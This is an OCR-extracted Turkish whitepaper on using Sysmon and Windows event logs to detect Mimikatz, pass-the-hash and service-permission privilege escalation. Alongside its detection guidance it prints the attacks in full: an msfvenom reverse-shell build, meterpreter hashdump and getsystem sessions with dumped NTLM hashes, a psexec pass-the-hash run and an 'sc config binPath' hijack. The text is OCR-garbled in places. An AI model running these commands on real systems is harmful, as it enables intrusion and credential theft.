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1. Giris

Bilisim sistemlerinin en 6nemli aktivitelerinden biri log kaydi tutmaktir. Log kayitlari sayesinde
sisteme yapilan bir saldirinin ne zaman, nasil ve nereden yapildigini bulmak mimkinddr. Yazi
boyunca Microsoft’un gelistirdigi Sysmon aracinin kullanimi ve Windows isletim sistemlerinde
siklikla gorilen birkag saldiri tlirlintin analizi yapilacaktir.

2. Sysinternals Sysmon

Sysmon (system monitor), yilklendigi sistem Uzerindeki aktiviteleri kayit altina alan
Microsoft’un gelistirdigi bir aragtir.

2.1. Kurulum

Bu adresteki (https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) sysmon
indirilir. Ardindan “cmd” ile indirilen dosyanin bulundugu dizine gidilerek “Sysmon.exe -i -
accepteula” komutu ile varsayilan ayarlarda kurulum yapilir.

Bl Administrator: C\Windows\System32\cmid.exe =R @

C=“\Users~OmersDocuments Sysmon>Sysmon.exe -h

System Monitor vb.B3 — System activity monitor
Copyright <G> 2814-2817 Mark Russinovich and Thomas Garnier
Sysinternals — www.sysinternals.com

Uz age =
Install: Sysmon_.exe —i [{configfileX]
[-h <[=hal imd5 isha25%6 iimphashi=*]1....>]1 [-n [<{process....>1]
[-1 [{process....>]
Configure: Sysmon.exe —c¢ [{configfileX]
[——i[-h <[shal imd5 isha256imphashi#*1,._._._.>]1 [-n [<process....>11
[-1 [{process....>11]
Uninstall: Sysmon.exe —u
- Update configuration of an installed Sysmon driver or dump the
current configuration if no other argument is provided. Optionally
take a configuration file.
-h Specify the hash algorithms used for image identification (default
iz SHA1>. It supports multiple algorithms at the same time.
Conf iguration entry: HashAlgorithms.
Install service and driver. Optionally take a configuration file.
Log loading of modules. Optionally take a list of processes to track.
Inztall the event manifest {(done on service install as welll.
Log network connections. Optionally take a list of processes to track.
Check for signature certificate revocation.
Conf iguration entry: CheckRevocation.
Print configuration schema definition.
Uninstall service and driver.

The service logzs eventz immediately and the driver installs asz a boot—-start
driver to capture activity from early in the boot that the service will uwrite
to the event log when it starts.

On Vista and higheyr, events are stored in “"Applications and Services

(sysmon kullanimina ait detaylar // sysmon -h)
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2.2. Konfiglrasyon

Sysmon kuruldugu zaman kendisinin varsayilan konfiglirasyon dosyasi ile kurulumu yapar.
Fakat kullanicinin kendi konfigiirasyon dosyasini olusturmasi da mumkiindir. Sysmon,
konfiglirasyon icin XML dosya formatini kullanir.

<Sysmon schemaversion="3.30">

<HashAlgorithms>md5,sha256</HashAlgorithms>
<EventFiltering>

</EventFiltering>
</Sysmon>

Konfiglirasyon dosyas! icin 2 ana bolim vardir. HashAlgorithms ve EventFiltering
HashAlgorithms bolimiinde olusturulan processlerin hangi hash algoritmalarini kullanilacagini
belirtmek icin, EventFiltering ise Ozellikle izlenilen veya harig tutulan olaylari belirtmek igin
kullanilir. Olaylari dahil veya hari¢ tutmak igin asagidaki kaliplar kullanilir.Dahil etmek igin
“include” , harig tutmak icin “exclude” ifadeleri kullanilir.

<tag onmatch="include”> <tag onmatch="exclude”>

Filtrelemede kullanilan taglar asagidaki gorselde belirtilmistir.

Tags

ProcessCreate
ProcessTerminate
FileCreateTime
NetworkConnect
DriverLoad
ImagelLoad
CreateRemoteThread
RawAccessRead
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Asagidaki ornekte belirtilen islemin olusumu sirasinda sysmon herhangi bir loglama islemi
yapmayacaktir.

<Sysmon schemaversion="3.30">
<HashAlgorithms>md5,sha256</HashAlgorithms>
<EventFiltering>
<FileCreate onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
<[/FileCreate>
</EventFiltering>
</Sysmon>

“condition” tipleri ve 6zellikleri:

is Default, values are equals

is not Values are different

contains | The field contains this value

excludes | The field does not contain this value

begin with| The field begins with this value

end with | The field ends with this value

less than | Lexicographical comparison is less than zero

more than| Lexicographical comparison is more than zero
image Match an image path (full path or only image name)
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2.3. Events

Sysmon’un

12] Event Viewer
File Action View Help

«= | #EBHE

olusturdugu
Logs/Microsoft/Windows/Sysmon/Operationa

I

PrimaryMetworklcon
PrintService
ReadyBoost
ReadyBoostDriver
Recovery

Reliability- Analysis-Et
RermoteApp and Desk
RemoteAssistance
RemoteDesktopServic
Resource-Exhaustion-
Resource-Exhaustion-
Resource-Leak-Diagn
RestartManager
Security-Audit-Config
Security-IdentityListe:
Service Reporting API
StickyMotes

Sysmon

5] Operational
TaskScheduler
TerminalServices-Clie

DhOQbbbbbhbbbhbibbohom

TerminalServices-Clie
TerminalServices-Loc
TerminalServices-PnF
TerminalServices-Ren
TZUtil

uac

| O O O O O O

-
-

e

kayitlara

Operational

Level

@ Information
] Information
@ Information
® Information

@ Information
(TN Infrrmatinn

Viewer ile
tiklanarak erisilebilir.

Event

I”

Mumber of events: 15 (1) New events available

Date and Time Source Ev =

9/10/2017 10:49:07 PM Sysmon

9/10/2017 10:49:07 PM Sysmon

9/10/2017 10:49:07 PM Sysmon B
9,/10,2017 10:49:07 PM Sysmon ¥

9/10/2017 10:49:02 PM Sysmon

OAnNM T 1NA001 DR A

Cavermmm

i m

“Applications

=)

and Services

Actions

Event 1, Sysmon x
General | Details
Process Create:
UteTime: 2017-09-10 19:49:07.182
ProcessGuid: {dfebebfd-9733-59b5-0000-001089975500%
Log Name: Micresoft-Windows-Sysmen/Operational
Source: Sysmon Logged: 9/10,
Event ID: 1 Task Category:  Proc
Level: Information Keywords:
User: SYSTEM Computer: WIN
OpCode: Info
More Information:  Event Log Online Help
4 m ] b

Operational
= Open Saved Log..
¥ Create Custorn Vie...
Import Customn Vie..
Clear Leg...

Filter Current Log...
Properties

Disable Log

Find...

DE DA

Save All Events As...
Attach a Task To th..
View

& Refresh

ﬂ Help

Event 1, Sysmon

B Event Properties

E] Attach Task To This...
m Save Selected Event...
Bz Copy

i Refresh

»

m

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[WINDOWS SISTEMLERDE SYSMON ILE LOG ANALIZi]

Kayitlarda bulunan Event ID lerin anlamlari asagidaki gorselde verilmistir.

ID Tag

1 ProcessCreate Process Create

2 FileCreateTime File creation time

3 MetworkConnect MNetwork connection detected

4 nfa Sysmon service state change (cannot be filtered)
5 ProcessTerminate Process terminated

6 DriverLoad Driver Loaded

7 Imageload Image loaded

8 CreateRemoteThread CreateRemoteThread detected

9 RawAccessRead RawAccessRead detected

10 ProcessAccess Process accessed

11 FileCreate File created

12 RegistryEvent Registry object added or deletad

13 RegistryEvent Registry value set

14 RegistryEvent Registry object renamed

15 FileCreateStreamHash File stream created

16 n/a Sysmon configuration change (cannot be filtered)
17 Pipekvent MNamed pipe created

18 Pipekvent MNamed pipe connected
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2.4. Hashes

Gogu kayitta processe ait hash degerleri gorilmektedir. Eger stpheli bir kayit géralurse ilgili
hash virustotal gibi siteler araciligiyla aratilabilir.

If the event originated on another computer, the display information had to be saved with the =

event.
The following information was included with the event: o

2017-09-08 13:17:20.043

EV _RenderedValue_1.00

2700

Ch\Users\Omer'\Desktopiup.exe
"Ch\Users\Omer\Desktophup.exe”
ChUsershOmer\Desktop,

WINDOWST\Omer

EV_RenderedValue_7.00

368824

1

Medium

MD5=2F1A95CD1ADT19BABFFT3607AEGI6348, SHA256=
4F69A722073E1 E614A54053095C66905F BFIBA0F3EET11065F3485688C0401
EV_RenderedValue_12.00

2788

ChAWindows\explorer.exe

ChWindows\Explorer,EXE

m

The publisher has been disabled and its resource is not avaiable. This usually occurs when the
publisher is in the process of being uninstalled or upgraded .

SHAZ56: 24169a722073e1e614a54053095c669d5MbMObE038bT 11065f3485688c0401 ‘o
File name: up.exe p—

Detection ratio 49/ 64 'r 0 0

Analysis date: 2017-09-08 13:18:41 UTC ( 15 minutes ago )

1

= Analysis @, File detail @ Additional information  Comments n 1 Votes EE Behavioural information

Antivirus Result Update

Ad-Aware Gen:Variant. Razy. 174703 20170908
AhnLab-V3 Trojan/Win32.Shell R1283 20170908
AlYac Gen:Variant.Razy. 174703 20170908
Arcabit Trojan.Razy . D2AAGF 20170908
Avast Win32:SwPatch [Wrm] 20170908
AVG Win32:SwPatch [Wrm] 20170908
Avira (no cloud) TR/Crypt. EPACK Gen2 20170908
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3. Sysmon ile Mimikatz Tespiti

Mimikatz, Windows sistemlerde kullanicilara ait hafiza tGzerinde bulunan sifrelenmis parolalari
alip, sifreleri kirarak parolanin kendisine donistiren bir aragtir.

Ornek: Asagida Mimikatz’in 6rnek kullanimi gésterilmistir.

&8 mimikatz 1.0 x64 (RC) = |- B[S

C:x>mimikatz.exe
mimikatz 1.8 w64 (RC> % Traitement du Hiwi (Oct 13 2012 13:48:31> =~
## http:/shlog.gentilkiwi.com/mimikatz

mimikatz # privilege::debhug
Demande d*ACTIVATION du privilége : SeDebugPrivilege = 0K

mimikatz ¥ sekurlza::logonPasswords full

Authentification Id A;4305377
Package d’authentification NTLM
Utilizsateur principal admin
Domaine d’authentification WINDOWS?
msvil_wv -
= Utilizateur admin
* Domaine WINDOWS?
=* Hash LM acBB4745%eeb6BebealaaBi8381led4e2Blb
#* Hash HTLM IARBcR?294511142799dcali?1ebPalf
kerberos =
#* Itilizateur admin
#* Domaine WINDOWS?
#* Mot de passze adminl23
wdigest =
= Utilizateur admin
* Domaine WINDOWS?
* Mot de passe adminl23
tspkg :
#* Utilizateur admin
#* Domaine WINDOWS?
=*= Mot de passe adminl23

Authentification Id : B;4305354
Package d’authentification : NILM
lltilisateur principal : admin
Domaine d’authentification = WINDOUWS?Y

(admin kullanicisinin parolasi elde edildi)
Saldir Tespiti

Mimikatz parolalari Isass.exe Uzerinden c¢ikarmaktadir. Bu durumda lsass.exe Uzerindeki
faaliyetleri incelemek saldiri tespiti igin yeterli olacaktir. Sysmon konfiglirasyon dosyasina
Isass.exe’nin izlenmesi icin asagidaki komutlar eklenir.

<ProcessAccess onmatch="include">

<Targetimage
condition="is">C:\Windows\System32\lsass.exe</Targetimage>
</ProcessAccess>
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Boylelikle sistemde Mimikatz Isass.exe Uzerinden parolalari elde etmek istediginde sistem

admini bunun farkinda olabilecektir.

General | Details

Process accessed:

UtcTime: 2017-09-08 21:34:14 149

SourceProcessGUID: {dfebebfd-0cc?-5903-0000-001042e00b00}

SourceProcessld: 1644

SourceThreadld: 936

Sourcelmage: Chmimikatz.exe

TargetProcessGUID: {dfebebfd-0b0d-59b3-0000-00100cab0000}

TargetProcessld: 500

Targetlmage: CAWindowshsystem324lsass.exe

GrantedAccess: 0:1410

CallTrace: CA\Windows\SYSTEM32\ntdIl.dll+5157a| S\ Windows\system32YKERMNELBASE. dll+ d817
|Chmirnikatz.exe+ 29989| C:h mimikatz. exe+ 2067 3| Chmimikatz. exe+ 16b9e| Chmimikatz. exe+
1672a|Chmimnikatz. exe+ 1645 c| Chmimikatz. exe+ 14 76| Chmimikatz. exe+ 36a0f| ¢\ Wind ows
Weystern32ikernel32.dil+1652d| CAWindows\SYSTEM32\ ntdll.dll+ 2521

Log Mame: Microsoft-Windows-5Sysmon/Operaticnal

Source: Sysmon Logged: 9/9/2017 12:34:14 AM

Event ID: 10 Task Category: Process accessed (rule: Processic
Level: Information Keywords:

User: SYSTEM Computer: WINDOWST

OpCode: Info

More Information:  Event Log Online Help

Sourcelmage ve Targerlmage’e bakildigi zaman Mimikatz'in Isass.exe ye erismis
gorulir.
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4. Pass The Hash

Pass the hash,saldirganin hedefe parola ile baglanmak yerine sifre 6zetini kullanarak
baglanmasini saglayan ve Windows sistemleri hedef alan bir saldiridir. Sifre 6zetleri Lsass
Uzerinde bulunmaktadir ve oOzetleri elde etmek igin Gsecdump, pwdump7, mimikatz,
Metasploit hashdump modiili gibi gesitli araglar Gretilmistir. Bu araglar yetkili kullanicilar
tarafindan galistirlldigi zaman istenilen veriler elde edilmektedir.

4.1. Ornek Saldiri

Hedef sistemle ilk temasi kurmak igin kurbana mail yoluyla veya baska yontemler ile zararli
yazilim gonderilir. Bu saldiri icin zararli yazihm msfvenom ile olusturulmustur.

:~# msfvenom -a x86 --platform windows -p windows/shell/reverse tcp lho
st=192.168.2.120 1port=4343 -b '\x00' -e x86/shikata ga nai -f exe -o shell.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata ga nai

x86/shikata ga nai succeeded with size 360 (iteration=0)
x86/shikata ga nai chosen with final size 360

Payload size: 360 bytes

Final size of exe file: 73802 bytes

Saved as: shell.exe

(msfvenom ile reverse shell olusturuldu)

Zararh yazilim kurbana génderildikten sonra meterpreter oturumu beklenir.

msf > use multi/handler

msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit( ) > set lhost 192.168.2.120

lhost => 192.168.2.120

msf exploit( ) > set lport 4343

lport => 4343
msf exploit( ) > run

[*] Started reverse TCP handler on 192.168.2.120:4343
[*] Starting the payload handler...

(Kurbanin dosyayi agmasi bekleniyor)

Hedef kisi dosyayi actiginda meterpreter oturumu baslar.
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msf > use multi/handler

msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit( ) > set lhost 192.168.2.120

lhost => 192.168.2.120

msf exploit( ) > set 1lport 4343

lport => 4343

mst exploit( ) > run

[*] Started reverse TCP handler on 192.168.2.120:4343

[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 192.168.2.252

[*] Meterpreter session 1 opened (192.168.2.120:4343 -> 192.168.2.252:49266) at
2017-09-06 17:04:07 +0000

meterpreter > |j

Oturumun ardindan sifre 6zetlerini elde etmek igin hashdump moduli kullanilir fakat gerekli
yetkilere sahip olunmadigindan islem gerceklestirilemez.

meterpreter > getuid
Server username: WIN-MGQLMOQMHGM\Omer
meterpreter > hashdump
priv_passwd get sam hashes: Operation failed: The parameter is inco
meterpreter >

Bu durumda hedef sistem Gzerinde hak ylkseltilme yapilmasi gerekmektedir. “ps” komutu ile
sistemde yurUtulmekte olan processler listelenir ve NT AUTHORITY\SYSTEM vyetkisi ile galisan
process aranir.

C:\Windows\System32\taskhost.exe

2460 464 userinit.exe x64 1 WIN-MGQLMOQMHGM\Omer
C:\Windows\System32\userinit.exe

2476 1972 TPAutoConnect.exe x64 1 WIN-MGQLMOQMHGM\Omer
C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

2484 900 dwm.exe x64 1 WIN-MGQLMOQMHGM\Omer
C:\Windows\System32\dwm.exe

2492 408 conhost.exe x64 1 WIN-MGQLMOQMHGM\Omer
C:\Windows\System32\conhost.exe

2512 2460 explorer.exe x64 1 WIN-MGQLMOQMHGM\Omer
C:\Windows\explorer.exe

2692 2512 vmtoolsd.exe x64 1 WIN-MGQLMOQMHGM\Omer
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

2884 500 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM
C:\Windows\System32\SearchIndexer.exe

2960 2884 SearchProtocolHost.exe x64 0 NT AUTHORITY\SYSTEM
C:\Windows\System32\SearchProtocolHost.exe

2980 2884 SearchFilterHost.exe x64 0 NT AUTHORITY\SYSTEM
C:\Windows\System32\SearchFilterHost.exe
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ilgili process bulunduktan sonra “migrate” komutu ile process e gecis yapilir ve ona ait sistem
haklarina erisilir.

meterpreter > migrate 288
[*] Migrating from 2304 to 2884...

[*] 192.168.2.252 - Meterpreter session 2 closed. Reason: Died
[*] Migration completed successTtully.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Varilacak en yuksek haklara sahip olduktan sonra hashdump modiili ile sifre 6zetlerine sahip
olunur.

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > hashdump
admin:1001:aad3b435b51404eeaad3b435b51404ee:3008c87294511142799dcall9le69a0f: : :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe®d16ae931b73¢c59d7e0cO8
OcO:::

Ahmet:1002:aad3b435b51404eeaad3b435b51404ee: cle9bfdlf3c5ael8320cadb095496fd6: : :
Ali:1003:aad3b435b51404eeaad3b435b51404ee:31dbcfe0@d16ae931b73c59d7e0cO89¢O: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTe0d16ae931b73¢c59d7e0c089cO: : :
Omer:1000:aad3b435b51404eeaad3b435b51404ee: fb5b7c2bec5300139d0a95¢c9b868e1c9: : :

meterpreter > |j

Hashler elde edildikten sonra metasploit icerisinde bulunan psexec modiilline ilgili veriler
yuklenir ve saldiri baslatilarak admin kullanicisi ile sisteme erisilir.

meterpreter > background

[*] Backgrounding session 5...

msf exploit( ) >

msf exploit( ) > use exploit/windows/smb/psexec

msf exploit( ) > set rhost 192.168.2.252

rhost => 192.168.2.252

msf exploit( ) > set smbuser admin

smbuser => admin

mst exploit( ) > set smbpass

smbpass =>

msf exploit( ) > set smbpass aad3b435b51404eeaad3b435b51404ee:3008c87294511
142799dcall91e69a0f

smbpass => aad3b435b51404eeaad3b435b51404ee:3008¢c87294511142799dcall91e69a0f
msf exploit( ) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp

mst exploit( ) > set lhost 192.168.2.120

lhost => 192.168.2.120

msf exploit( ) > set lport 1234

lport => 1234

mst exploit( ) > run
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msf exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp
msf exploit( ) > set lhost 192.168.2.120
lhost => 192.168.2.120
msf exploit( ) > set lport 1234
lport => 1234
f exploit( ) > run

Started reverse TCP handler on 192.168.2.120:1234
192.168.2.252:445 - Connecting to the server.
192.168.2.252:445 - Authenticating to 192. 168 2 252:445 as user 'admin'...

192.168.2.252:445 - Selecting PowerShell target
192.168.2.252:445 - Executing the payload...
192.168.2.252:445 - Service start timed out, OK if running a command or non-
rvice executable...
*]1 Sending stage (957487 bytes) to 192.168.2.252
[*] Meterpreter session 6 opened (192.168.2.120:1234 -> 192.168.2.252:49162) at
2017-09-06 17:27:37 +0000

meterpreter > getuid

Goraldagu gibi pass the hash saldirisi ile admin kullanicisinin parolasinin bilinmemesine
ragmen hash degerini kullanarak gecis yapmak mimkiindur.

) thaining
Attacker 1 V,f—f Hashes -
Machine

4 °/X>

3 Access Target

Victim

(Gergeklestirilen saldirinin gorsellestirilmis hali)
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4.2. Saldirinin Tepiti

Pass the hash saldirisi ile ag lizerinde normal bir davranis sergilendigi icin saldirinin tespitinde
ag trafigini incelemek oldukca zahmetli olacaktir.Bu sebepten dolayr “Event Viewer” ile log
kayitlarini incelemek daha mantikhdir. Oncelikle oturum kayitlarinin tutuldugundan emin
olmak icin “Local Group policy editor”l acip “Audit account logon events” bélimiinde Success

ve Failure segeneklerinin aktif olup olmadigi kontrol edilmelidir.

_=[ Local Group Policy Editor
File Action View Help

= 7EIXE = HE

=[ Local Computer Policy
4 A Computer Configuration
2 | Software Settings
a [] Windows Settings
| Mame Resolution Policy
=] Scripts (Startup/Shutdown)
- = Deployed Printers
4 T Security Settings
4 Account Pelicies
4 [ 4 Local Policies
5 Audit Policy
» 4 User Rights Assignr
+ 4 Security Options
| Windows Firewall with /
| Metwork List Manager F
~| Public Key Policies
| Software Restriction Pol
| Application Control Pol
> g IP Security Pelicies on L
| Advanced Audit Policy
+ gl Policy-based QoS

> [] Administrative Templates
- Y -~ .
] e p

-~

m

Policy
1] Audit account logon events
| Audit account management
| Audit directory service access
| Audit legon events
| Audit object access
| Audit policy change
| Audit privilege use
| Audit process tracking
| Audit system events

Audit account logen events Properties

Local Secunty Setting | Explain

jl Audit account logon events

Success
Failure

. This setting might not be enforced if other policy is configured to
“£=% overmde category level audit policy.
For more information, see Audit accourt logon everts. (35921468)

Ardindan Event Viewer ile kullanici oturum kayitlari incelenir.
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12l Event Viewer

File

Action View Help

«= "B HE

4

@ Event Viewer (Local)
» # Custom Views
4 | n Windows Logs

5] Application
[+ Security
§—| Setup

& System
§—| Forwarded Events

{5 Hardware Events
{5 Internet Explorer
] Key Management Sen
é.—| Media Center
4 [ Microsoft
4[] Windows
71 API-Tracing
_| AppID
| Application-Ex
Applocker
Audio
Authenticatior
_| Backup
Biometrics
Bits-Client
Bluetooth-MT
BranchCache
BranchCacheS
CAPLZ
CertificateServ
» [l CertPolEng
» [ Codelntegrity
7 CorruptedFileF

[T

M | 2

»

m

4 |:| Applications and Services

CorruptedFilef

Security

Keywords

'@.}mdit Success
"}{Audit Success
"}\\'\.‘Audit Success
'ékAUdit Success
"}\I.JAudit Success
"}{Audit Success
"}\\'\.‘Audit Success
'ékAUdit Success

Date and Time

9/8/2017 1:32:38 AM
9/8/2017 1:32:37 AM
9/8/2017 1:32:37 AM
9/8/2017 1:32:37 AM
9/8/2017 1:32:37 AM
9/8/2017 1:32:36 AM
9/8/2017 1:32:36 AM
9/8/2017 1:32:36 AM

MNumber of events: 67 (1) New events available

Source

Microsoft Windows...
Microsoft Windows...
Microsoft Windows...
Microsoft Windows...
Microsoft Windows...
Microsoft Windows...
Microsoft Windows...
Microsoft Windows...

Event ID
4634
4634
4624
4634
4624
4624
4672
4776

Task Categor *
Logoff L
Logoff

Logon

Logoff

Legon

Legon

Special Legor
Credential Va -

1|

1

r

Event 4634, Microsoft Windows security auditing.

General | Details

x

An account was logged off.

Mare Information:

Event Log Online Help

Subject:

Security ID: WINDOWST\admin

Account Mame: admin

Account Domain: WINDOWS7

Logon ID: (hGcfads
Log Name: Security
Source: Microseft Windows security Logged: 9/8/2017 1:32:38 AM
Event ID: 4634 Task Category: Logeff
Level: Information Keywords: Audit Success
User: N/A Computer: WINDOWST
OpCode: Info

| »

|...m

Burada arama yaparken oncelikle “event id” si 4624 olan kayitlar incelenir.ID si 4624 olan
kayitlar basariyla sisteme giris yapmis olan oturumlari temsil etmektedir. Kalan kayitlar
arasindan “Logon type” 1 3 olanlarla devam edilir.Logon type 3, sisteme agdaki baska bir
yerden baglanildigini temsil eder. “Security ID” genellikle pass the hash saldirilarinda “NULL
SID” olmaktadir.

Bu ayiklamalara ek olarak “Logon Process” i NtLmSsP ve “Key Length” i 0 olan kayitlar aranir.
Rdp gibi normal bir baglantida key length 128 bit olmaktadir. Bahsedilen ayiklamalar
yapildiktan sonra sisteme yapilmis olan pass the hash saldirilari tespit edilmis olacaktir.
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@ Event Properties - Event 4624, Microsoft Windows security auditing.

General | Details

An account was successfully logged on.

More Information:

Subje
CtI Security D MULL SID
Account Name: =
Account Domain: =
Logon ID: 0
Logon Type: 3
Mew Logon:
Security ID: WINDOWSadmin

Account Mame: admin
Account Domain: WINDOWST
Logon ID: M5cfads
Logon GUID: {00000000-0000-0000-0000-000000000000 }
Process Information:
Process ID: 00
Process Mame: -
Metwork Information:
Waorkstation Marme: eLLPYIdBUK]jXTaM
Source Metwork Address:  192.168.2.120
Source Port: 36351
Log Mame: Security
Source: Microsoft Windows security  Logged: 8/8/2017 1:32:36 AM
Event ID: 4624 Task Category: Logon
Level: Information Keywords: Audit Success
User: MSA Computer: WINDOWST
OpCode: Info

Event Log Online Help

»

m
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E Event Properties - Event 4624, Microsoft Windows security auditing.

General | Details

Process Information:
Process ID: 3]

Process Mame: -

Metwark Information:
Workstation Name: el LPVIdBUK]jXTamM
Source Metwork Address:  192.168.2.120
Source Port: 36351

Detaile = '
Logon Process: MtLm5s
uthentication Package:

Transited Services: -

MTLM V2
Key Length: ]

m

Yukaridaki gorsellerde goriilen kayitta saldiriya dair tiim belirtiler bulunmaktadir. Bunlara ek
olarak 2. gorselde bulunan Workstation name in rastgele bir ifade olmasi ayrica dikkat
¢ekmektedir.

Sonug olarak 192.168.2.120 IP adresine sahip saldirganin, pass the hash saldirisi ile sisteme
“admin” kullanicisi olarak sizdigi anlasilir.
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5. Hak YUkseltme (Privilege Escalation)

Sistem Uzerindeki hatalarin veya yanlis yapilandiriimalarin kullanilarak Ust seviye haklara
erisiimesi hak ylikseltme olarak tanimlanir.Asagida bazi hak ylkseltme tekniklerine
deginilmistir.

5.1. Zayif Servis izinleri

Servis izinleri, sahip olmasi gerekmeyen kullanicilara verildiginde servisi baslatma, durdurma,
ayarlarini degistirmek gibi haklar da verilmis olur. Servis izinleri ile alakali bir hak ylkseltme
ornegi asagida verilmistir. Sistemde herhangi bir yetkisi bulunmayan Ali kullanicisi, sistem
Gzerindeki servisleri incelemeye baslar ve GUNCELLEME servisi dikkatini ¢ceker.

sslzerssAlisDesktopi>whoami
pindows?™ali

sUserssAlisDesktop>

GUMCELLEME Properties (Local Computer) =

Mame = General | Log On | Recoveny | Dependenc:iesl

o Group Policy Client TH
GUMCELLEME

o Health Key and Ce... Pr
Y HomeGroup Provi.. P

Service name: GUNCELLEME

A

Digplay name: GUMNCELLEME

Description: -
“+Human Interface... En -

“ IKE and AuthIP IPs.. TH
“o Interactive Service.. En

Path to executable:

CilUsers'\Omer Desktop guncelleme exe
“.Internet Connecti... Pr

4 IP Helper Pr Startup type: Manual "’]

% IPsec Policy Agent  Inf i ] )
i, T Help me configure service startup options. I
. KtrmBm for Distrib... g

& Link-Layer Topolo.., Cr
% Media Center Exte... A4l
" Microsoft NET Fr.. M Stop Pause Resume
% Microsoft NETFr.. M You can specify the start parameters that apply when you start the service

- Microsoft i5C5l Ini., M from here.
o Microsoft Softwar.. M
% Multimedia Class ... En
Yo Met.Tep Port Shari.. Pr
o Metlogon I

Service status:  Stopped

Start parameters:
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“accesschk” araci ile servisin izinlerini inceler ve herkesin servis lizerinde degisiklik hakki
oldugunu gordr.

ER C\Windows\systemn32\cmd.exe =n Ec |@
o

=

e e = = =

(Herkesin servis lizerinde degisiklik hakki vardir)

Ardindan GUNCELLEME servisinin calistirdigi dosyanin yolunu degistirerek kendi olusturdugu
zararh yazilima yonlendirir ve servisi baslatir.

BN C\Windows\system32icmd, exe l-=|-= |@

C=sUserssAlisDezsktoprse config GUHCELLEME hinPath= "C:sUsers“AlisDezktopsup.exe
[8C]1 ChangeServiceConfig SUCCESS

m

C:~Uzers~AlivDesktop’

(vol degistirildi)

EW C:\Windows\system32\cmd.exe - s¢ start GUNCELLEME = =

C:sUserssAlisDesktopi*sc start GUNCELLEME

(servis baslatildi)

Ve sistem haklariyla ¢alistirilan sistem, saldirganin belirlemis oldugu zararh yazilimi agarak
saldirganin sistem haklarina erismesine sebep oldu.
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root@kali: ~ @ ® O

File Edit View Search Terminal Help
exploit( ) > run

Started reverse TCP handler on 192.168.2.120:4343

Starting the payload handler...

Sending stage (957487 bytes) to 192.168.2.252

Meterpreter session 8 opened (192.168.2.120:4343 -> 192.168.2.252:49164) at

017-09-07 01:45:42 +0000

Server username: NT AUTHORITY\SYSTEM
meterpreter >

(Saldirgan en yliksek hakka ulasmistir)
Sysmon ile log kayitlarina bakildiginda Event ID si 13 olan Register degisikligi yapildig
gorulir.Kayitin detayina inildigi zaman GUNCELLEME servisinin calistirdigi dosyanin
degistirildigi gorulir.

General | Details

Registry value set:

EventType: SetValue

UtcTime: 2017-09-10 09:50:03.681

ProcessGuid: {dfebebf4-69e3-59b4-0000-001043 10000}
Processld: 488

Image: C; \Wlnduws\5 stern3 2 services. exe

Details: C\Users\AlizDesktop\up.exe

Log Mame: Microsoft-Windows-5Sysmon/Operational

Source: Sysrmon Logged: 0/10/2017 12:50:03 PM

Event I 13 Task Category:  Registry value set (rule: RegistryEv
Level: Information Keywords:

User: SYSTEM Computer: WINDOWST

OpCode: Info

Mare Information:  Event Log Online Help

(register kaydi degistirilmis)

ilgili degisikligin nasil yapildigini anlamak icin degisiklikten dnceki log kayitlarina bakilir.
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General | Details

Process Create:

UtcTime: 2017-08-10 09:50:03 681

ProcessGuid: {dfebebf4-0ack-59b5-0000-0010bad a2400}

Processld: 564

Irnage: ChAWindows\System32\sc.exe

TG TG ELE NG e config GUMNCELLEME binPath= "Ch\Users\Al\Desktophup.exe
CurrentDirectory: ChUsers\ Al Desktop,

User: WINDOWST AL

LogonGuid: {dfebebfd-6a62-59b4-0000-0020190800}

Logonld: 0:x89ce1

TerminalSessionld: 2

IntegrityLevel: Medium

Haches: MD5=4EBEBC2B0ADTFI0T5AEIDGEISD2AG2BEE, SHAZ56G
=EAABGIDEBDEDDFOAELS2DELBCO3BT3CELSA 264 DEDTAZ92334735B47 ABGEEBF31
ParentProcessGuid: {dfebebfd-6a84-39b4-0000-001076ef0a00}

ParentProcessld: 3820

Parentlmage: CWWindows\System32hcmd.exe

ParentCommandLine: "C\Windows\systern32\crd. exe"

Log Mame: Microsoft-Windows-5ysmon/Operational

Source: Sysmon Logged: 9/10/2017 12:50:03 PM

Event ID: 1 Task Category: Process Create (rule: ProcessCreat
Level: Information Keywords:

User: SYSTEM Computer: WINDOWST

OpCode: Info

More Information:  Event Log Online Help

(Ali kullanicisi GUNCELLEME servisinin yolunu degistirmis)

Degisiklikleri yapan saldirgan servisi baslatarak ayni zamanda zararl yazilimini da ¢alstirmistir
ve sistem haklarina sahip olmustur.
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Process Create;

UtcTime: 2017-09-10 09:50:31.995

ProcessGuid: {dfebebf4-0aed-59b5-0000-0010c887 2400}
Processld: 1120

Image: ChA\Windows\System32\sc.exe

CommandLine: m

CurrentDirectorny: ChUserst\Al\Desktop,

User: WINDOWST AL

LegonGuid: {dfebebfd-6ab2-59b4-0000-0020190800}
Logonld: 0x89cel

Terminal5essionld: 2

IntegrityLevel: Medium

Hashes: MD5=4EBBC2BOADTFI075AEIDEE35D2A62B6E, SHAZSE
=EAABRIOEBDEDDFIAEAS2DEIBCO3BT3CE154264 DEDTA292334733B4 T ABGEERF3]
ParentProcessGuid: {dfebebfd-6a84-59b4-0000-001076ef0a00}
ParentProcessId: 3820

Parentlmage: CVWindows\System32hcmd.exe
ParentCommandLine "ChA\Windows\systern32hcmd. exe”

.og Mame: Microsoft-Windows-Sysmon/Operational

MOUFCE: Sysmon Logged: 9/10/2017 12:50:32 PM

went ID: 1 Task Category: Process Create (rule: ProcessCreat
evel: Information Keywords:

Jsern SYSTEM Computer: WINDOWST

